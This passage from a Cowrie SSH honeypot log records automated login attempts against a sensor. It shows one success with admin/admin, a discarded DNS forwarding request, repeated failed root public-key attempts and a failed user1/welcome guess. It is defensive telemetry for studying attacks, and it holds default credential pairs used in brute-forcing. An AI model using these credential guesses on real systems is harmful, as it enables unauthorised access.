eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.121123Z","src_ip":"87.251.64.176","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.409166Z","src_ip":"87.251.64.176","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.508197Z","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.606137Z","src_ip":"87.251.64.176","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T05:57:19.705764Z","src_ip":"87.251.64.176","session":"a94150443ec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"299dd3a52f88","protocol":"ssh","message":"New connection: 199.127.62.250:44650 (10.17.0.5:22) [session: 299dd3a52f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.033591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.038759Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.114964Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:e4:ec:f8:7d:80:2b:4d:54:4c:05:48:a0:5f:4c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeJYvb4BGBNu/2DNnZ4pRQeSA3qDd9XUrFasnVgH3NzBIvl7GW9fGbsWvv91ROuEoKULIKwwDCGV0OO8BM05OwVvz3yXa/QddRYIhIvtqDAmebpxVUgYI/V47fvRU+mcExlhVw6vLE3caBe9G5BNDatmij/QCjiD//TQ/OnCNRP42Z0EpjIYv26ol1fCZQ3DWvV45v5dx+77NUyQHg9fPIt8IPRB9axW8zBbmM3Iolvg/G9fAvhnJHdF/9knVZ+zSg0SI5i8xsZzLMO2+3TiwaVV7Zagv7NG17mcWSlb9KoAJItPqmZAhBYGcyA4tRN9YwNSzrf1MWJVDx1FUfJN9J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:e4:ec:f8:7d:80:2b:4d:54:4c:05:48:a0:5f:4c:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.455961Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:e4:ec:f8:7d:80:2b:4d:54:4c:05:48:a0:5f:4c:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeJYvb4BGBNu/2DNnZ4pRQeSA3qDd9XUrFasnVgH3NzBIvl7GW9fGbsWvv91ROuEoKULIKwwDCGV0OO8BM05OwVvz3yXa/QddRYIhIvtqDAmebpxVUgYI/V47fvRU+mcExlhVw6vLE3caBe9G5BNDatmij/QCjiD//TQ/OnCNRP42Z0EpjIYv26ol1fCZQ3DWvV45v5dx+77NUyQHg9fPIt8IPRB9axW8zBbmM3Iolvg/G9fAvhnJHdF/9knVZ+zSg0SI5i8xsZzLMO2+3TiwaVV7Zagv7NG17mcWSlb9KoAJItPqmZAhBYGcyA4tRN9YwNSzrf1MWJVDx1FUfJN9J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.465027Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCEsi83JqjbmzcQQ06VLERhSiKe3S//TP3qJ8N2n3zVHKglyV7xj7t/nfg7GwJzkukFZssCKsLi/5DWlO8q9xZmxDBhSMJ/IVtoR5QEs5dMOX+PS4xh2oM1qVuHqh5vZh6+f+tc4cvj0VI9Vn+kGq15g8LCa1rTHjO+O+OZ8CT2RcwjMCyTux83MPxxMonCb4yEg8bdelaOgrb5waFdb2aNwOiW8i8JL2CUhiUAUJqMuoFU0S8xnC1m4epF/UofKN2rSUioLY7KhS5tkitVXZcnij6EasXcTYKU33PJ8z1asm3VUeObg9VFpAK7pou0BkDcEUY3acHL0Qly9vk1HFPeLJkvlrk/DyPYH5a/fSvWBz9TqXRjElStmGffi25g8FA6Su/UJ2JGt1wWwhinTS5/c+VF2EqBeEuDbbNtHkjC4J95kIW7aJlHZMRXZaSOsyt6IsPxyhVCgQmIv3DCRc4KIQ/zCFBZo5i9v1h9048WnhRjYiGl+k37AWDztXIgfBQ1g66QCrYX5RJOh/shxRNyCPdyvudW4+FeL9fCqGqWS5OR1yWAKcY7LSlOPCE7xVEU53l1Cn9wOFT5F9PP2zjdyyCgf7xTVh7r8lXYZTkjShyVbL9Xl/rqPMJJLLVHh0zE58xbJV9+WwyIaBlBe2/3GxmzWjmc0ao0IzNp1xIY1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.551036Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:05:a8:e4:48:05:0c:11:1c:1d:b2:e1:d3:e9:33:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCEsi83JqjbmzcQQ06VLERhSiKe3S//TP3qJ8N2n3zVHKglyV7xj7t/nfg7GwJzkukFZssCKsLi/5DWlO8q9xZmxDBhSMJ/IVtoR5QEs5dMOX+PS4xh2oM1qVuHqh5vZh6+f+tc4cvj0VI9Vn+kGq15g8LCa1rTHjO+O+OZ8CT2RcwjMCyTux83MPxxMonCb4yEg8bdelaOgrb5waFdb2aNwOiW8i8JL2CUhiUAUJqMuoFU0S8xnC1m4epF/UofKN2rSUioLY7KhS5tkitVXZcnij6EasXcTYKU33PJ8z1asm3VUeObg9VFpAK7pou0BkDcEUY3acHL0Qly9vk1HFPeLJkvlrk/DyPYH5a/fSvWBz9TqXRjElStmGffi25g8FA6Su/UJ2JGt1wWwhinTS5/c+VF2EqBeEuDbbNtHkjC4J95kIW7aJlHZMRXZaSOsyt6IsPxyhVCgQmIv3DCRc4KIQ/zCFBZo5i9v1h9048WnhRjYiGl+k37AWDztXIgfBQ1g66QCrYX5RJOh/shxRNyCPdyvudW4+FeL9fCqGqWS5OR1yWAKcY7LSlOPCE7xVEU53l1Cn9wOFT5F9PP2zjdyyCgf7xTVh7r8lXYZTkjShyVbL9Xl/rqPMJJLLVHh0zE58xbJV9+WwyIaBlBe2/3GxmzWjmc0ao0IzNp1xIY1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.555314Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:34:5d:c5:f2:bf:69:58:f2:7d:3d:eb:5b:1a:f5:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4BIPcO/vqltzhzUnQIb2l4xaNJAzVI08fvDbHxeJ3YI6Q8bEq8Xi4peLTh3M/VrEhGzC9nWqVljLgmCjP9Jnv+uREwK+jXN+k2Kpp1kW/ALfQ3Vjlafkdtl2sw8CnBCvJr3un/KVGX8i9tSIN7uugxD8Oq03O5RgcJCQoOfWfhbk1qQ43A79VpvbPaX+AVjw0r8/BRCwUJSFVUYuqsyLLP2156YJgJvCk61/Odhw0yussqrj0RaoUhaAKehPlzhE8x4nFN3rsx7uaLD4HsJkFLk4MlZLPVnPfXSMM+XX9aaNpdOxlUc93TKJ0ZnIuvRIJoS2OZSGBmIqNmJvAYmZ2DpoE828VTMd7LEe2kFcIxRN5FKDql2vvo8gnD/M7swoVHokv5GNpAqEtyWYUGRu+SI0yjoEEOJFy5ZuMq2DdejJrtYc81K0GADquj46dEZSF2QV/Jap2vR3blb7/WmxVPJYrk5E8U9yqVVJhqlypdWwHnaue2gsl/0D25IZqoumbxGgHmjhd0j6srzuZYtOTs6ofcbrtk6n6vkMCb4sAiZz4JMl9bzJ4fZyCKY80v5dHzSg07xc1GoP480M9dBm7WPru4vZ849dt2PMFMocSXeW1vd0m4eLcV8PZQjcXGIwVjXC2jbHfc4u+EuoiN9Mq0WpYVbJHCyGFG0m711cn6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:34:5d:c5:f2:bf:69:58:f2:7d:3d:eb:5b:1a:f5:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.630804Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:34:5d:c5:f2:bf:69:58:f2:7d:3d:eb:5b:1a:f5:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4BIPcO/vqltzhzUnQIb2l4xaNJAzVI08fvDbHxeJ3YI6Q8bEq8Xi4peLTh3M/VrEhGzC9nWqVljLgmCjP9Jnv+uREwK+jXN+k2Kpp1kW/ALfQ3Vjlafkdtl2sw8CnBCvJr3un/KVGX8i9tSIN7uugxD8Oq03O5RgcJCQoOfWfhbk1qQ43A79VpvbPaX+AVjw0r8/BRCwUJSFVUYuqsyLLP2156YJgJvCk61/Odhw0yussqrj0RaoUhaAKehPlzhE8x4nFN3rsx7uaLD4HsJkFLk4MlZLPVnPfXSMM+XX9aaNpdOxlUc93TKJ0ZnIuvRIJoS2OZSGBmIqNmJvAYmZ2DpoE828VTMd7LEe2kFcIxRN5FKDql2vvo8gnD/M7swoVHokv5GNpAqEtyWYUGRu+SI0yjoEEOJFy5ZuMq2DdejJrtYc81K0GADquj46dEZSF2QV/Jap2vR3blb7/WmxVPJYrk5E8U9yqVVJhqlypdWwHnaue2gsl/0D25IZqoumbxGgHmjhd0j6srzuZYtOTs6ofcbrtk6n6vkMCb4sAiZz4JMl9bzJ4fZyCKY80v5dHzSg07xc1GoP480M9dBm7WPru4vZ849dt2PMFMocSXeW1vd0m4eLcV8PZQjcXGIwVjXC2jbHfc4u+EuoiN9Mq0WpYVbJHCyGFG0m711cn6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.635801Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:25:a7:4e:2b:0c:6f:2b:08:04:ff:8f:dd:5c:7c:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtAZOUjMvOkNMMGaFf46HTv9jLU2sSUYe/JjsZgCQymX/on3/aOjyQnAh90LWHwNz5rexjsxxG+kyQmNWneseBXClaPISUPltDrh8yTFJCgcPYX3/tGLpJJP2AMU+g/49+KchUqsvbpTbFnE1RKUTIsMYJjHrstzOMzKcVgeItIVY1kd0TY5O2D9XfBubSCa2z4HFtAJfvM7ekqrOO6Gq3ibOgWkUyWEwJD0WEg2i+UWEPc+Kt3cyxMGj/Tm7ar4EZRiNWycpv5SEEYC5NtYstwzi9H83GZTmvl6VP07LEwHWCxBYaSgDA0T5pQ2p+6vV/Ve9hIWg3uYb8EUpYCOqTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:25:a7:4e:2b:0c:6f:2b:08:04:ff:8f:dd:5c:7c:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.712257Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:25:a7:4e:2b:0c:6f:2b:08:04:ff:8f:dd:5c:7c:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtAZOUjMvOkNMMGaFf46HTv9jLU2sSUYe/JjsZgCQymX/on3/aOjyQnAh90LWHwNz5rexjsxxG+kyQmNWneseBXClaPISUPltDrh8yTFJCgcPYX3/tGLpJJP2AMU+g/49+KchUqsvbpTbFnE1RKUTIsMYJjHrstzOMzKcVgeItIVY1kd0TY5O2D9XfBubSCa2z4HFtAJfvM7ekqrOO6Gq3ibOgWkUyWEwJD0WEg2i+UWEPc+Kt3cyxMGj/Tm7ar4EZRiNWycpv5SEEYC5NtYstwzi9H83GZTmvl6VP07LEwHWCxBYaSgDA0T5pQ2p+6vV/Ve9hIWg3uYb8EUpYCOqTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.720816Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:10:a1:eb:e0:9d:50:2e:19:ee:b7:be:d3:66:31:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkiyqOPHNuLb0nk4zhwiIWZLxJ4qF6Gsz5oopB0KcsE8vzaPRys2t7Hl7VsPjrnfl3DoJLcraJnk+FQanPOxl+JsvMo2g5HG8FZqPUHKkAgOYcMwYupO/k2A5P1JXMcjliCMlKR0UENJxLAGSvvpjlgHLokFR9hAu2rpIx0k2wjZkMC6DoR3S7DXjo9IIEy4gbylTiVPeMYiZR1QDxqLP91sqDprp/EhuA5kXrO7d2zDADNPl5qWjTQ5f/M3bgDE6m8oBtC4EWMdb3bSo5AFD43+kjxIKqBm4uH0ZxNA51OX2MwLjpo8hwK+sKCZi5yjh6okwjIRH8RZvKJXULNuaf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:10:a1:eb:e0:9d:50:2e:19:ee:b7:be:d3:66:31:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.808819Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:10:a1:eb:e0:9d:50:2e:19:ee:b7:be:d3:66:31:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkiyqOPHNuLb0nk4zhwiIWZLxJ4qF6Gsz5oopB0KcsE8vzaPRys2t7Hl7VsPjrnfl3DoJLcraJnk+FQanPOxl+JsvMo2g5HG8FZqPUHKkAgOYcMwYupO/k2A5P1JXMcjliCMlKR0UENJxLAGSvvpjlgHLokFR9hAu2rpIx0k2wjZkMC6DoR3S7DXjo9IIEy4gbylTiVPeMYiZR1QDxqLP91sqDprp/EhuA5kXrO7d2zDADNPl5qWjTQ5f/M3bgDE6m8oBtC4EWMdb3bSo5AFD43+kjxIKqBm4uH0ZxNA51OX2MwLjpo8hwK+sKCZi5yjh6okwjIRH8RZvKJXULNuaf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.815308Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:09.896115Z","src_ip":"199.127.62.250","session":"299dd3a52f88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.74.162","src_port":34106,"dst_ip":"10.17.0.5","dst_port":22,"session":"bccf4c77eddd","protocol":"ssh","message":"New connection: 36.26.74.162:34106 (10.17.0.5:22) [session: bccf4c77eddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:14.433894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:14.438753Z","src_ip":"36.26.74.162","session":"bccf4c77eddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:14.673443Z","src_ip":"36.26.74.162","session":"bccf4c77eddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"welcome","message":"login attempt [user1/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:00:15.595600Z","src_ip":"36.26.74.162","session":"bccf4c77eddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.10.248","src_port":32926,"dst_ip":"10.17.0.5","dst_port":22,"session":"48be7e88ec11","protocol":"ssh","message":"New connection: 104.194.10.248:32926 (10.17.0.5:22) [session: 48be7e88ec11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.901656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.906332Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.913326Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:47:02:58:ca:14:ae:3a:c5:ea:56:4f:95:ae:d4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChYNBPLkzh0ZMyk6OdFFptF5uXVE+CIp/CLgqHbCVXdfHNTHINY6yeenSvmXAfbEct4Rib+j/M2WzsMYq5VxiN203ibOFwudTZuzbhaB8KBdwIc9gSgM2AV6rOP7V2HyYdmnjeSMbR+0H+g1rgiRuAKKqmH92AJW7iQg+MwZEfKX55uJ6O/s/ZMzqRumzL0Kkj3qb5Owx1hF2j5oLI7832E2t3l8TbbblhX3lTNkYVoVNDWuWUkEql3DOqclG1mAp8Y/akya0Nv0npQdfW0Z/ANIyxljECGiM8N7DtQegs1et18gs2mJiw8gdbK/bHqB0RU4q+LKycvL4aLsJ6jsrJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:47:02:58:ca:14:ae:3a:c5:ea:56:4f:95:ae:d4:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.930867Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:47:02:58:ca:14:ae:3a:c5:ea:56:4f:95:ae:d4:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChYNBPLkzh0ZMyk6OdFFptF5uXVE+CIp/CLgqHbCVXdfHNTHINY6yeenSvmXAfbEct4Rib+j/M2WzsMYq5VxiN203ibOFwudTZuzbhaB8KBdwIc9gSgM2AV6rOP7V2HyYdmnjeSMbR+0H+g1rgiRuAKKqmH92AJW7iQg+MwZEfKX55uJ6O/s/ZMzqRumzL0Kkj3qb5Owx1hF2j5oLI7832E2t3l8TbbblhX3lTNkYVoVNDWuWUkEql3DOqclG1mAp8Y/akya0Nv0npQdfW0Z/ANIyxljECGiM8N7DtQegs1et18gs2mJiw8gdbK/bHqB0RU4q+LKycvL4aLsJ6jsrJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:01:31.934799Z","src_ip":"104.194.10.248","session":"48be7e88ec11","protocol":"ssh"}
